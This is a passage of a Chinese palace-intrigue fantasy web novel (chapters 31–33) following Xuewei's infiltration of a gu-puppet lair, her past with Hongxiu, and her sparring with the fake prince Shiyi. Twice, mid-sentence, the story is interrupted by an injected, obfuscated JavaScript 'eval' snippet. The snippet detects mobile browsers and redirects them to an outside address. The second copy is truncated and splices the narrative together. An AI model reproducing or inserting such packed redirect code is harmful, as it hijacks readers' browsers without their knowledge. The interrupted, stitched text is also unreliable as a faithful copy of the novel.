“既然你没事了,那我就走了?”十一对着雪微浅浅笑了笑,转身迅速的离开。 锦绣坊,如意厢房。 十一从一旁的窗户跳了进来,脸色深沉:“没有人进来过吧?” “属下一直在这里看着,不曾有人来过。”如意转身,换掉了香炉里的香烟。 这一切,似乎什么都没有发生一样,十一和三皇子继续喝着花酒,正在二人花天酒地喝得晕头转向之时,大理寺少卿顾炳春发疯了。 半夜三更的顾炳春找来了一群道长在府里开坛作法,谎称顾府闹鬼闹得厉害,闹得他彻夜难眠,他战战兢兢的站在一旁,双眼瞪的大大的死死的盯着眼前未知名的灵位,双手合十心里默念道:“顾兄,你都已经死了,下地狱了,为何还不放过我呢?” “您在地府要是缺什么,少什么,都可以告诉我,我都给你送来,拜托你不要再来找我了。” 道长点了三炷香,并在纸人上面写上了顾炳春的生辰八字,嘴里不停的念叨着咒语,一阵阴风拂过,黑烟升起,一个白色身形的鬼影赫然的出现在袁知远的身前,他浑身紧绷,身体不由的倒退几步,神色恐惧的看着眼前的白衣鬼影:“顾兄,你......你......” 随着道长一声“收”,白衣鬼影顿时从袁知远的身前消失,然后道长便在门口,地面上,以及房间各个角落洒满了糯米,事毕,道长对着袁知远说道:“顾大人,请放心,此鬼今日已经被贫道收服,以后再也不可能出来危害他人了。” “他......”袁知远轻轻清了清嗓子,定了定心神:“这鬼,真的被道长收服了?” 道长点了点头。 袁知远摸着长须,嘴里不停的念叨:“那就好,那就好。” “深夜叨扰,多谢道长了。” “顾炳春,不要怪我,你早就应该下地狱了,你不应该终日缠着我的,如今,你魂飞魄散是你咎由自取。”袁知远心中舒了口气,安心了许多。 顾夫人到目前为止都还是一脸蒙蔽,大晚上,老爷突然发疯,说是自己见到鬼了。 “鬼?”顾夫人环顾四周,什么都没有发现,但老爷却深信鬼影就在自己眼前晃动,怎么赶都赶不走,顾夫人怎么询问,袁知远始终都不说,只是一味的指着眼前,说鬼影就在自己身前。 整座顾府上下都在陪着袁知远抓鬼,大家心里纷纷抱怨,老爷又发疯了,这已经是这个月第二次发疯了,每次袁知远发疯,都会弄得大家彻夜无眠。 31. 蛊王 按照十一说的具体位置,雪微趁着夜色来到了凌月峰。 凌月峰有一个很神奇的自然景象,就是每逢十五,月亮高悬空中之时,整座山林的磁场都会混乱,人走在里面,连东西南北都分不清。 雪微在林中飞了会,蜻蜓点水般落在一片树叶之上,这里被人布置了重重结界,并且派有十几位高阶修士看守,看来正如十一所说,想要混入其中,还是有些难度的。 雪微摇身一变,幻化成为叶肃的模样,千面幻术是师父传授给她的,雪微也不知师父师从何方,但能够习得此种幻术也是需要自身莫大的机缘。 年幼时,师父把雪微扔到雪域,刻意磨练她的意志力,这一磨练就是三年,也就是在第三年,雪微的身体变得比旁人的身体凉上许多,看到雪微身上的变化,师父这才把雪微从雪域接了回来。 回来之后,又让她足足睡了几年的寒冰床,外加一些药物催化,雪微也不明白师父为何要这么做,但至今为止,雪微一直感觉得到自己的身体与常人的身体有些不一样,她的身体体温除了比旁人凉上许多以外,修炼术法也比旁人学的快。 别人三年五载才能够学会的术法,雪微却偏偏只需要一年,但究竟是何种原因,直到雪微后来去了西域学习噬魂蛊时,西域的巫师告诉她,她的身体里有兽血,虽然她是人,但同时,她也是兽。 至于是何种兽血,巫师没有察觉出来,因为雪微身上的兽血被师父下了封印。 不管是什么,师父总不会害她吧,就算是对身体有害,那也是她为复仇所付出的代价,雪微明白,做任何事都有相应的代价的,师父好心救她并传授武学给她,还帮助雪微复仇,对雪微来说已经是再造之恩了。 “大人今夜来此是有什么事情吗?”守门的修士看了雪微一眼,眼眸之中略带惊讶,今夜大人突然前来,难道是有什么事情发生?他心里觉得奇怪,转念一想,大人的事情,自己也不好多问,知道太多了,对自己也没什么好处,还不如做好自己本分之事。 雪微斜视一眼,冷声道:“我有什么事,什么时候轮到你来质疑。”叶肃高傲自大,擅长做主惯了,做任何事情都是十分小心谨慎,雪微自是明白这一点,所以既然是伪装,那至少也要伪装得七八分像吧。 夜色渐浓,谅这守门修士也察觉不出什么,于是便大摇大摆的走了进去。 这座山谷简直是座浑然天成的阵法,把山林中的阴气汇聚一堂,雪微朝着阴气聚集地看了眼,看来,此地就是蛊王蝶衣衣的藏身之地了。 越往洞内深处走,阴寒之气越浓重,雪微感受到一阵威压,一个蛊王而已,为何会有此等威压之气? 不来不知道,此时,映入眼帘的除了蛊王蝶衣衣之外,居然还有十几名炼制好的蛊人,他们手脚都用玄铁制成的铁链捆绑着,动弹不得。 这么多的蛊人,藏身在西晋王城的地底下,叶肃到底想干些什么? 雪微转头朝着洞口处看了看,难怪寻常人探查不到这块地方,白日里,这里根本就找不出任何的出入口,只有夜间凭借着月色的指引,才能够发现这处洞穴真正的方位。 叶肃啊叶肃,你果真是聪明,但凡你的这股子聪明劲用在正途上,你也不会剑走偏锋。 “蝶衣衣。” 你就是叶肃的亲娘,雪微来到蝶衣衣身前,看这模样,似乎已经没有了神智,叶肃,没想到,你连你自己的亲娘都可以这番利用。 也是,毕竟,连自己的亲儿子都可以抛弃的人,何必又在乎这么一个亲娘呢? 歌姬之子的名声毕竟不是那么好听,这也是叶肃最忌讳的一点。 他为了甩掉歌姬之子的名称,不惜拜了东厂那个老太监为义父,想到此处,雪微顿时觉得讽刺,他为了上位,可真是什么事都干得出来。 亏得父亲当年怎么瞎眼看上这么一个人。 “有人来了?”雪微听到一阵脚步声,便快速的把自己的气息隐藏起来。 守门的修士揉了揉自己的双眼,他以为自己看错了,怎么今日出现了两位大人呢?这要是被真正的叶肃知道了,自己肯定吃不了兜着走。 他想了想上次那个修士就是因为说错了一句话,就被叶肃活剥了皮,想到这里,他心跳加速了许多。 严重的说不定被他炼制成蛊人,想到此处,心中不免觉得胆寒,不管哪个真哪个假,总归是他们的事情。 守门修士自知今日自己犯了叶肃的大忌,干脆什么也不说,明哲保身。 他一脸漠然的看着叶肃朝着洞内走去,但此刻心里却无比忐忑不安,要是两个叶肃大人撞在了一起,今日怕是免不了一场大战了。 一个小时,两个小时......过去了,洞内没有发出任何声音,难道那位假冒的叶肃大人已经溜走了,守门修士侧头朝着里面望了几眼,两个多小时了,洞内根本就没有任何人出来,他十分确定,确实没有见到任何人出来。 忽然一阵阴风刮过,沙子吹进了他的眼中,他闭上双眼,揉了揉,月光透过树枝洒落在地面上形成了倒影,不断的摇拽,他心中默默祈祷:“千万不要出什么幺蛾子。” “要不然,今晚怎么死的都不知道?” 雪微从一旁的暗影中看了看此人,这人倒是十分有趣,明明看到了两位叶肃,却依旧表现得如此坦然,也没有把我假冒叶肃的事情告发出去,看来以后倒是可以好好利用一番。 刚才在洞内凭借着微弱的光线,雪微似乎看到了一些难以置信的场面,那位蛊王蝶衣衣的肚子看起来已经有了四五个多月的身孕。 用蛊王骨血孕育出来的孩子,如果是女孩就会继承蛊王的一切,成为新一任的蛊王,想不到叶肃如今居然打的是这个算盘,也是,蝶衣衣毕竟已经老了,活不了几年就会死去。 “我得尽快阻止这个孩子的诞生,要不然,这里又要引发一系列的动荡了。”蛊人与妖类不一样,蛊人不管怎么说,至少是人演变而来,但妖类身上有妖气,是无法直接进入王城的,而且还有结界的阻挡。 雪微坐在案台前,特意用左手写了一封信。 京城凌月峰往南的山谷中出现一批蛊人,她特意把此事写进信中,并派人送进了镇妖司陆邈的手中。 陆邈这个人非常有意思,在京城一直有鬼面修罗的称呼,他终日带着一张鬼面,寻常人见了都会自动离他远点,根本就不会靠近他,因为这个人邪气很重。 京城之中除了王上,没有人能够命令他,所以见过他面的人基本没有。 雪微虽然从未与此人打过交道,但在江湖之中却听到了不少此人的传言,就比如他独身斩杀了一条妖龙,还把妖龙的龙骨拿来做座椅,简直是要多夸张有多夸张。 ...... “少宫主,属下这几日一直跟着宇文昌,他一直和三皇子在锦绣坊喝花酒,期间从未出来过。”多日不见,少宫主功力大涨,看来过不了多久,少宫主的修为就能与宫主相媲美。 “从未出来过?” 雪微收剑,前几日,从凌月峰回来之后,身体莫名的燥热,她也不知怎么回事,为何会出现此等异样,难道是体内的兽血受到了凌月峰阴气的影响,封印受到了波动。 师父下的禁制应该不会这么轻易就解开的,雪微细细想了想,一定是凌月峰的磁场对体内的封印有影响。 “少宫主......”红袖见雪微沉默了许久,应该是察觉到什么不对劲的,难道宇文昌真的有什么异常,又或者是在我看不见的地方做了些什么? 雪微转身,笑道:“没事,我在想,宇文昌表面上看上去不像是会老老实实的待在锦绣坊与三皇子喝花酒的人,有可能你看到的宇文昌不是宇文昌。” “少宫主,你是说,锦绣坊的宇文昌是假冒的?” “也就是我们盯着他,也是白盯着的。”红袖恍然大悟,如果真如少宫主所说,那么如意难道是混进锦绣坊的细作,如意是宇文昌的人? “宇文昌,你就不用盯着了,这个人十分的狡猾。” “是。” 查了这么久,连宇文昌到底是谁都没有查出来,只是大概知道,此人与莫家有联系,雪微也说不准,此人心思深沉,断不可与之为敌。 他就像凭空出现一般,顶替了宇文昌的身份,来到京城,到底所谓何事,称王?雪微想到宇文昌对着雪微说的那句话,你帮助我成为西晋的王,当时雪微心里一阵鄙夷,现在回过头想想,也许从一开始,宇文昌的目的就是那个王位。 一个瘫痪的王爷一夜之间,身体大好,竟然能够从瘫痪十几年的卧榻上陡然站了起来,这件事情本就不可思议,任何人见了,难免不多想。 可是宇文昌一脸丝毫不在意,笑着说道:“这一切的功劳都来自王妃,因为王妃冲喜,嫁入府邸,他的身体这才一日比一日好。” 想想都觉得好笑,那群无知的人,还真把此事当了真,雪微也只能无奈的摇了摇头,宇文昌一张嘴,死的都能被他说出活的。 这样的人,以后还是得离他远点,毕竟王位之争,雪微并不感兴趣,也不想把自己陷入皇权的漩涡之中。 王后之位,雪微更加不敢兴趣,那个位置有什么好的,看似一人之下万人之上,但终究也不过是笼中雀般,她仰头,刚才剑气划过的地方,整颗大树一分为二,像两旁分裂开来。 “等复完仇以后,我应该会永远的远离这里,往后余生,我只想做一名自由的剑客,走南闯北,锄强扶弱,帮助那些需要帮助之人。” “恭喜少宫主,剑法大成。”红袖眼眸含光的看着雪微,少宫主一直是红袖的偶像,是在红袖最艰难的低谷时期的一抹光。 当年母亲惨死的一幕一直成了红袖心中的噩梦,每当午夜梦回,红袖都会想起那些年,母女两人在府里艰难度日,那种生活简直度日如年,连畜生都不如。 少宫主呢?她的家人也惨遭屠杀,族人一夜之间被灭了个精光,两个十几岁的小女孩在杀人不吐骨头的七杀殿,相依为命。 “你为什么要救我?”红袖满脸沾满了鲜血,那是刚刚从斗场搏杀出来,那些同伴们的鲜血,她也不想让自己的双手染满鲜血,但是,她如果不杀掉别人,别人就会反过来杀了她,她不想死。 因为她的命是母亲用自己的生命换来的,红袖曾经在母亲的灵位前发过誓,一定会好好的活下去,杀了那个曾经是她父亲的那个男人,为她的母亲报仇。 “你即使救下我,我也没有能力报答你。” 这个世上最难偿还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892853|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的恩情就是救命之恩,红袖明白,凭自己如今的这个样子,什么都做不了,她实在是想不出雪微为何偏偏救下了她,明明斗兽场里有那么多比她更好,武力更加厉害的杀手。 可是,这个十几岁和她差不多岁数的女孩却选择救下了她。 “我不需要你报答。”雪微疏离的声音穿透红袖的耳膜,红袖恍惚之间觉得有些刺耳,不需要报答,这个世上还有救人性命,不求报答之人。 在红袖的世界里,从来都没有人会无偿的帮助她,自小,母亲就告诉过她,不要占任何人的便宜,天下没有免费的东西。 可是眼前这个人却告诉红袖,她救下红袖,不需要红袖任何的报答。 “这样的人真的存在这个世上吗?”红袖心中充满质疑:“你真的不需要我为你做任何事?” 雪微转身,冰冷的眸子像冰刃般刺入红袖的眼中,那是一双淡蓝色的眼眸,睫毛上沾满了霜花,仿佛下一秒,雪微就会被立即冻成冰雕。 “你......你......”红袖脸色惊讶,瞠目结舌:“你的身体?” 这是她第一次见到这种奇怪的景象,眼前这个人的身体居然会自动结成冰,整个空气瞬间下降了十几度,如同身在冰箱般,异常寒冷。 连空气之中的水汽也瞬间变成了霜花,像雪一般的纷纷落下。 “你......你是人吗?” 红袖其实想问:“你到底是人还是妖?”但她实在不好意思开口,怕伤害了一个小姑娘的心,毕竟作为人类来说,他们是最讨厌异类的。 “我当然是人。”雪微知道,任何人看到她都会不自觉的害怕,这么多年,她早就习以为常了。 自从从雪域回来以后,她的身体就变成了这样,有的时候,她情绪稍微波动,就会控制不住身体的变换。 雪微曾经问过师父,可是师父却告诉她,这种现象是正常的,等师父炼制出压制你身体里寒气的办法,到时候,你就可以像正常人一样。 “寒气,我的身体里怎么会有寒气,难道是在雪域的那三年,让我的身体发生了变化?”雪微点头,虽然控制不住身体里的寒气,但也落了个好处,那就是她的修为在短短的几年之内就超越了七杀殿里所有修士的修为。 一举夺冠,成为了七杀殿的少宫主。 师父也感到十分的欣慰,这么多年的努力,总算没有白费。 后来,雪微前往西域学习噬魂蛊,这才知道自己身体里所谓的那股寒气其实是兽血。 她恍然大悟,心中安慰道:“也许师父一早就知道这个事,怕我难受,所以才谎称是寒气。” “可是,兽血为何会在我的身体里呢?”雪微百思不得其解,她实在想不明白,人类与兽血想结合,千百年来,成功之人寥寥无几。 然而,她却成为了这亿万分之一的存在。 “没关系,你这样也很可爱。”红袖看着雪微那双淡蓝色的眼眸,双眼中并无任何恐惧的情绪,只是刚刚看到之时,有些惊讶而已。 “你不害怕我?” 红袖想了想,嘴角弯弯笑了笑,脸颊两侧露出两个小酒窝,看样子,也十分可爱道:“我为什么要害怕你?” 她的双眼纯澈,并不像撒谎的样子,诚恳道:“左右我不过就这一条命,你既然救了我的性命,我想,你也不会立马杀了我。” “要不然,你为什么救我呢?” 雪微叹了口气,浅浅笑了笑:“我不会杀你。” 刚刚在斗兽场偶然间看到红袖双眼的那一刻,雪微自己也不知为何,她的那双眼眸之中,很明显的透露出一股猛烈的求生的意志,那双眼神看上去似曾相识。 让雪微想起了自己在雪域与雪狼王相搏斗的场景。 那是去雪域的第二年,那一年,师父还是像往常一样,扔下半年食物,摇了摇头,叹了口气,便转身离开了,也不知为何,师父的眼神之中充满了失望。 雪微原本以为自己会永远的留在雪域,正当自己意志消沉之时,雪狼王又偏偏盯上了她,冰封万里,被冰雪覆盖的整片整片的树林,远远望去,漫天雪白,没有一丝颜色。 那是死亡的色彩。 不是雪微死,就是雪狼王死,一人一兽相互搏斗了好几日,雪狼王终究体力不支败了下去,它奄奄一息,身子都快埋进雪地之中。 雪微一时心软,朝着雪狼王仍下一个馒头,还给雪狼王取了一个好听的名字叫月影。 后来,雪微便与雪狼王相依为命的度过了半年多,后面的事情,雪微隐约之中记得自己在攀爬山峰之时,意外从崖顶落下,昏迷了一段时间。 那段时间,雪微也不知道发生了什么事,只知道,自己醒来之后,发现自己漂浮在一块冰面之上,而且身体浑身充满了力量。 自从那以后,她的身体便与常人不一样,时不时的就自动结冰,难道兽血就是那个时候进入到自己身体里的? 她感到自己的身体越来越轻盈,但是却不知如何控制好自己的力量,时常瞬间飞起后又一头栽进雪地里,这样的日子大约几个月,师父再次来看她,居然满眼欣慰,满意的点了点头。 师父教雪微心法,如何控制身体里的力量,雪微这才学会掌控飞行。 32. 落空 次日丑时,陆邈带着镇妖司的几位下属按着信中所指的位置来到凌月峰,让人觉得奇怪的是这座山谷虽然阴气浓郁,但并没有信中之人所说的什么蛊人,而且沿途风平浪静,也无人阻挡。 “大人,这里什么都没有,难道信中之人所说是诓骗我们的?” 阴气森森,阵阵阴风吹得萧乘风浑身起鸡皮疙瘩,他环望四周,月光下除了树枝摇拽,其余的什么都没有。 信中之人所说,此处有十几位蛊人外加一位怀有身孕的蛊王,陆指挥使看到这封信时,沉默了许久,连他自己也没有想到,堂堂西晋王城,居然有人胆敢在他的眼皮子底下私自豢养这种阴邪之物。 把活生生的人制作成人不人鬼不鬼的人蛊,这人要是真的在镇妖司的眼皮子底下干这种事,他怕是离死不远了。 “乘风,你觉得写那封信的人到底意欲何为?”陆邈沉声,在这座山洞里面来回走了好几圈。 萧乘风心里没谱,要是信中之人所说的是真事,那么肯定是有人知道指挥使今夜会前往凌月峰查蛊人一事。 难道镇妖司有细作?可是知道此事的人用手指数,都可以数出来。 “属下不知。” “你到底是真不知道,还是假装不知道?” 陆邈板着脸:“我知道,你害怕了,你害怕曾经朝夕相伴的同伴突然有一天背叛了你。” “对吗?” “也许,写那封信的人只是觉得好玩,把我们忽悠过来,耍得团团转呢?”萧乘风急忙解释道:“大人,也许不一定是......” “是什么?” 陆邈怒笑道:“看看,连你都不敢说出来。” 他转身来到一处石壁旁,蹲下:“这里有厮杀打斗的痕迹,写那封信的人并没有说假话。” “大人,何以见得,属下觉得此事还是要慎重起见,不能因为一个陌生人的一封信,就怀疑司内的同伴,要不然会寒了大家的心。” 陆邈笑了笑,突然觉得萧乘风有些天真可爱,这么天真的人,萧大人怎么舍得把他儿子安排在镇妖司,他摇了摇头,觉得有些无语至极。 曾经他致力向王上请求,不要让萧乘风进镇妖司,可是王上说他已经答应了萧平,不能反悔,萧乘风这个不知天地为何物的大少爷,什么都不懂,怎么可能明白官场的明争暗斗呢? 他心中叹息,本来只想让他当个闲散的官职,但此人事多,偏偏闲不住,什么都爱插一脚,陆邈也觉得无奈,但王上都说了,要他好好教导萧乘风,可是此子顽固,偏偏喜欢反驳,陆邈心中见到他就心烦。 本来今夜之事,陆邈并没有叫萧乘风过来,可是他偏偏不听指挥,跟了过来,这下倒好,什么都没有查到,结果一无所获。 “你这么天真,把所有人都想得这么好,总有一天是会吃亏的。” 萧乘风想了会,摇头道:“陆指挥使,大家私底下都称呼你为鬼面修罗,见到你都觉得害怕,你说你什么朋友都没有,一个人不觉得孤单吗?” “萧乘风......” 陆邈喝声道:“你给老子滚远点。” 此子难以教化,陆邈不敢自称是他的师父。 他飞到半空中朝着下方的山谷望去,月光穿透山洞,在山洞上方阴气聚集,此地,果真是豢养阴邪之物的好地方。 “来人。”陆邈喊道:“把这座山谷封了,没有我的命令,不允许任何人进出。” “是。” 其余五修士听到命令之后,果断飞到半空之中,结印起阵,不过一会,整座山谷就被封印起来。 “那些蛊人到底被藏到哪里去了呢?” 陆邈带着鬼面,心底想了想:“如果让这十几位蛊人同时现世,这座王城怕是又要陷入动荡不安了。” 他想到了二十五年前,那场王位的争夺之战,镇阳王私自豢养大批蛊人,并且操纵蛊人对西晋的将士进行大举进攻,当时那场大战可是死伤无数,那些蛊人没日没夜无差别进行攻击,不仅将士们怨声载道,哀怨连天,连百姓们见到这群蛊人也心惊胆寒。 直到后来出现一名神将,一举歼灭了蛊王,杀了镇阳王,这场战争才渐渐平息,这位神将就是林道全,后来被王上封为宁王。 但最后,他也没有落到一个好的下场,因为王上猜忌,从而被王后派死士对整个林家进行了精心的屠杀,当时,陆邈看到林道全血淋淋的头颅之时,脸色极为震惊,没想到,宁王这位忠心耿耿的神将都遭受到此等结局,实在是令人惋惜。 陆邈每每想到这,心里不免有些难受,毕竟宁王曾经是他最崇拜之人,他抬头望了望星辰,长叹了口气。 宁王叛国之事,简直就是子虚乌有,陆邈讽刺的笑了笑,该活着的人偏偏却死了,该死的人偏偏却还活着,这个世道,好人可不是那么好当的。 他看了眼萧乘风,心里想道:“生在这样的世道,像你这样一颗赤子之心,又能够保持多久呢?” “曾经的我们又何尝不是一腔热血,只不过,仅仅凭着这腔热血是活不长久的。” “从即刻起,全城戒严,发现任何可疑之人,都要进行上报。”陆邈厉声道。 “是。” 今夜又是一个无眠之夜。 “少宫主,昨夜,全城突然戒严,属下前去打听,是镇妖司陆指挥使下达的命令。” “陆邈?” 雪微心中感到疑惑,“难道他昨夜在凌月峰没有收获?” “不应该是这样啊?” “除非......除非叶肃提前知道了消息,提前把这批蛊人给转移了,但是这么短的时间之内,叶肃又是怎么知道消息的呢?” 雪微想了想:“难道是那个守门的修士把我伪装叶肃的事情告诉了叶肃?” “以叶肃的性格要是知道了有人冒充,一定会兴师问罪,把那人给杀了。” 所以雪微心中确信,守门的修士是不会告诉叶肃的,除非,只有一个原因,那就是,叶肃在镇妖司内部有线人。这倒是很符合叶肃的所作所为,雪微摇头笑了笑。 “这偌大的王城,叶肃会把这些蛊人藏到哪里呢?” “王妃要是想知道这些蛊人被藏到哪里,本王倒是很乐意为王妃效劳。”十一从身后冒出,锦瑟见状,便退了下去。 “你偷听我说话?”雪微一脸鄙夷,这人才消失了几天,怎么又出来作妖了。 十一嘴角微微翘起:“这里是庆安王王府,你是本王的王妃,本王想听便正大光明的听,何须偷听。” “你只不过是个假冒的王爷,还真把自己当成了庆安王?” “彼此彼此,本王确实是假冒的,但是王妃难道不是假冒的吗?” 他看着雪微,比划着手势,继续说道:“所以你和我,才是天造地设的一对,假王爷配假公主,天作之合。” “去你的天作之合。” 这人摆明了就是占我便宜,雪微无语,转身正准备离开,十一陡然用力把雪微往怀中拉。 “你到底想怎么样?”一把冰冷的匕首此刻正架在十一的脖子上,十一瞪眼看着雪微,依旧笑道:“你这是谋杀亲夫啊?” “你......你这个人,怎么好不要脸。”雪微想从十一的怀里挣扎出来,却越拉越紧,“你放开我。” 她疾言厉色道:“再不放开,这把匕首就会刺穿你的脖子。” “好呀,王妃既然这么想杀了本王,那就杀吧。”十一凑近闻了闻雪微身上那股淡淡的花香,“牡丹花下死,做鬼也风流。” “疯子,离我远点。” “你......你踢我......”十一弯腰,一股刺痛从下面传来。 雪微对着十一冷笑道:“早就叫你放开我,可你偏偏不听,疼死你,活该。” 她看到十一疼痛难忍的模样,心中有些得意,转身正准备离开。 十一突然冲上前来正准备拉住她,却被雪微一掌击到倒地。 他一脸苦闷道:“我......我真的找你有事。” “真有事?”雪微一脸质疑。 十一点头:“真有事。”他从地面站起来,拍了拍胸口,苦笑道:“你这一掌,打得还真疼。” “那当然。”雪微一脸坏笑道:“有事为何不早说,疼死你,活该。” “是是是,是我活该。”十一看着雪微,突然有些恍神,平日里也没见过她如此凶暴啊,怎么今日,变得这般暴躁,动不动就喊打喊杀。 雪微瞬间隐去笑容,恢复淡漠的神情,“你到底有什么事,快说,本宫可没什么耐心。” “本王见你在查宁王府一案,所以特意前来告知。” 十一做杀手的时候曾经在娴妃身边待了几年,这座王宫里的秘密,十一隐约之间也知道不少,宁王一案,牵扯众多,十一也是曾经听娴妃娘娘偶然之间提起过。 毕竟,身在后宫,又是莫家之女,她知道的事情可不少。 雪微看着此人,既然他有心前来告知,倒也不妨听一听,此人也许与莫家有间接的关系,敌人的敌人就是朋友,她冷冷的笑了笑:“你想告诉我什么?” 十一脸色平静道:“宁王一事,与二皇子和王后有关。” “二皇子,王后?”这人城府极为深沉,我派人查了这么久,都没有查到王后与爹爹的死有什么关系,怎么他却抬出王后与二皇子来? 难到他想让我去对付二皇子与王后,所以故意这么说的? 也是,宇文昌想登上王位就必须同时铲除太子与二皇子这两个障碍,雪微心中笑道:“倒真是个一石二鸟的好计策。” “奥,你说说宁王与二皇子和王后之间到底有什么关系?” “王后派杀手杀了宁王,我说得还不清楚吗?”这女人到底又再想些什么,我都说得这么明白了,她怎么可能想不出我话里的言外之意?难不成,她觉得我在骗她? 也是,十一不经意间笑了笑,心里想了想:“我确实是有自己的小心思,让这个女人先替我去给二皇子和王后制造些许麻烦,毕竟太子这个草包,早已经不值得我费尽心思了。” “眼下,二皇子与王后背后的那股子势力才是我值得忌惮的。” 王后曹氏的哥哥,也就是当今的国舅爷,他手里握着十万重兵,在这个朝代,不管你多么的富有都抵不过别人手中紧握着的兵符,十一自是知道这一点,比起太子,二皇子才是他王位路上最大的阻碍。 所以,二皇子与王后,必除之。 他抬眸看了看这个女人,“想必她自然是已经想出了这一点,所以才有所忌惮,觉得肯定是我图谋不轨,想要借她之手铲除王后与二皇子,从而坐收渔翁之利。” 她很聪明,聪明得有些过头了。 “你是觉得我在说谎,欺骗于你吗?” “难道不是吗?”雪微依旧面不改色道:“你心里打的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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如果再被枕头之人吹吹耳边风,供供火,那么只会让宇文渊心中对爹爹的怀疑更深一层,难到真的如同宇文昌所说,爹爹是被王后害死的? “我知道了。” 雪微脸上依旧没有任何表情,情绪也没有一丝波动。 “没有了?”十一还以为雪微知道了会对他感恩戴德,毕竟他可是冒着生命危险才把这件事告诉她的,谁曾想,她的表情居然是不屑。 她真的与林家人有关系吗?十一心中不免有些怀疑。 如果她真的是林家人,那么为何会对这件事没有一丝情绪的波动呢?毕竟眼看着自己的亲人死在自己的眼前,自己却又无能为力的那种感觉,是轻易无法掩饰的。 “你还有什么事吗?”雪微看着十一问道:“没有什么事,我就先走了。” “没事。”十一摇头,看着雪微离去的背影,沉默发呆。 “人都走远了,王爷再继续盯着也无济于事。” 子昂从十一身后走了过来,他朝着十一的视线远远的看了过去,“王爷,你该不会对王妃动了心吧?” “怎么可能?”十一转头看了子昂一眼,眼神有些闪烁,“我怎么可能对那个女人动心,她可是一点也不温柔,每次见到我都是喊打喊杀的。” 他亮出脖子,脖子上面有着匕首残存的丝丝划痕,“你看,今日,我差点被她一刀抹了脖子。” “你要是再晚一点出现,都见不到你家主人我了。” 子昂摇了摇头,难道真的是自己看错了,王爷对王妃真的一点感情都没有?他垂下眼眸:“也许,真的是我想多了吧。” “不过。”他抬头,眼神坚定的看着十一,说道:“国仇家恨尚在眼前,王爷断不可因为一个女子,就把这些全都抛之脑外了。” “我知道了。” 十一心里没底,这些人都是父王当年留给他的,跟着我这么一个落魄的皇子,却还做着等有一天杀光所有的仇人,重新拥立他登上西晋的王位的美梦。 “小主人,你要明白,等你登上王位,要什么样的女人没有,你切不可在此等关键时刻,留恋这些情情爱爱之中,从而忘记了自己的任务。” 子昂不知何时,居然变得唠唠叨叨的。 十一耳根子觉得有些烦躁,“你放心吧,我是不会忘记的。” “那就好。” 想起当年亲眼看到宇文渊亲手砍掉父王的头颅,鲜血喷涌而出,喷满了他的脸,这样的场面,他怎么能忘记。 母后被那些强盗玷污,为了保留清白,选择了葬身火海,那一夜,那场大火,让十一的人生从高光瞬间跌落到了尘埃。 “从今以后,你将不再是太子了,你只是一个普通的孩子,对任何人都构成不了威胁。” “母后,父王,儿臣回来了。”不知不觉之中,十一的眼眶之中居然含满了泪水,他强忍着眼泪,不让它继续流出,二十五年了,整整二十五年了,可是我却把你们整整遗忘了二十四年。 十一永远都记得,他恢复记忆的那一刻,痛彻心扉,他怎么能够忘记这些呢?如果连他都忘记了,那么在这个世上,还会有谁还记得这些往事呢? 又还会有谁记得父王母后的容颜呢?虽然他们的容颜在十一的脑海中已经快模糊不清了。 子昂心中担忧,摇了摇头,便退下了,希望小主人自己说话算话,永远都不会遗忘国仇家恨,永远都不会抛弃这些还拥有一腔热血的遗民。 既然走上了复仇这条道路,此生便做那断情绝爱之人,人不可以什么都要,想要往上走的这条路,注定了是一条孤寂之路。 王者永远都是孤寂的。 小主人,我希望你,做傲视群雄之人,做西晋唯一的王。 不要被眼前这些情情爱爱从而断送了大好前程。 33. 伪造 雪微坐在案台前发呆了许久,回想起今日宇文昌与自己讲的那番话,爹爹以及族人的死与王后有关? 他可没那么好心,今日卖了这么大一个人情给她,雪微知道宇文昌的真正目的是想让她铲除二皇子,好替他扫清障碍。 她并不在乎自己是否被宇文昌利用,如果他说的事情是真的,被他利用又有何妨,只要能够为族人复仇,以慰那些被他们残忍杀害的亡灵。 大皇子被立为太子的那一天,也是曹氏成为王后的那一天,民间一直传说,王上本来不想立曹氏为王后,但奈何王上的母妃也就是当今的曹太后出自曹氏一族,自然是偏心自家的侄女。 曹氏一族以前从未出现过王后,曹太后为了帮扶娘家,提拔自家侄女为现任继后,明面上是继后,但排场一点都不输历任王后。 大臣们对曹太后这一举措,自然也不敢有任何的意见,毕竟立谁为王后终究是他们皇家自己的事情,曹太后想帮扶曹氏一族,大臣们自然也是看在眼里记在心里。 只不过是苦了王氏,好不容易成为王后,却命薄,好日子没过几年就撒手人寰了,只留下一个几岁大的孩子,王氏一族自然也就没落了。 要不是王上怜惜,大皇子都不一定会被立为太子。 雪微只是觉得好奇,去太医院调查了一下先王后的脉案,先王后身体一向很健康,并没有疾病缠身,为何没当上几年王后就仙去了呢? 她又调查了一下先王后日常饮食以及用药情况,全都是正常的,并没有任何可疑之处,但是脉案上却写着先王后之死是因为生太子时身体虚弱,一直没有恢复。 如果真的是身体虚弱一直没有好好调养恢复,那么脉案上面应该会有写这些,但照眼前的情况是,雪微疑似脉案被人做了手脚。 看上去没有一丝问题,连用药都十分的精准。 让雪微不得不怀疑先王后的死根本不是什么因病致死,而是人为。 王氏死了,谁最得利呢? 曹氏? 看来这背后之人就算不是曹氏但也和曹氏脱不了关系。 皇家的这些纷纷扰扰后宫之争,王上应该不会一点都不知情吧,看来,咱们的这位王上心里跟明镜似的,什么都知道,只不过是没有威胁到自己的地位,所以装作睁眼瞎罢了。 毕竟王后死了可以再换,后宫之中的任何女子,都只是他巩固政权的手段罢了。 身在皇家,遇上这么一位男子,可真是凉薄。 雪微心中满是嘲讽,既然先王后之死与曹王后有关,倒不如把这些证据交给太子,自己的母后被害身亡,身为儿子的,岂能坐视不管呢? 